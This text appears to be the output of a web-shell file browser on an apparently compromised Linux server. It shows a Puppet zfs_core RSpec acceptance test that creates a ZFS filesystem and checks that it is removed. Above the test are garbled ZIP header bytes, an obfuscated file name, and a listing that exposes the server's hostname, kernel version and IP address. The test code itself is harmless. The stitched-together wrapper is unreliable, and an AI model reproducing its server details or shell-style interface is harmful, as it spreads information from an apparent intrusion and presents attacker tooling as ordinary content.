PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /opt/puppetlabs/puppet/vendor_modules/zfs_core/spec/acceptance/tests/zfs/
Server: Linux server1.ngambekcore.com 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 04:00:07 EDT 2025 x86_64
IP: 159.198.77.92
Choose File :

Url:
Dir : //opt/puppetlabs/puppet/vendor_modules/zfs_core/spec/acceptance/tests/zfs/should_remove_spec.rb

require 'spec_helper_acceptance'

RSpec.context 'ZFS: Should Remove' do
  before(:all) do
    # ZFS: setup
    solaris_agents.each do |agent|
      zfs_setup agent
    end
  end

  after(:all) do
    # ZFS: cleanup
    solaris_agents.each do |agent|
      zfs_clean agent
    end
  end

  solaris_agents.each do |agent|
    it 'can remove resources' do
      # ZFS: create
      on(agent, 'zfs create tstpool/tstfs')

      # ZFS: ensure can be removed.
      apply_manifest_on(agent, 'zfs { "tstpool/tstfs": ensure=>absent}') do |result|
        assert_match(%r{ensure: removed}, result.stdout, "err: #{agent}")
      end
    end
  end
end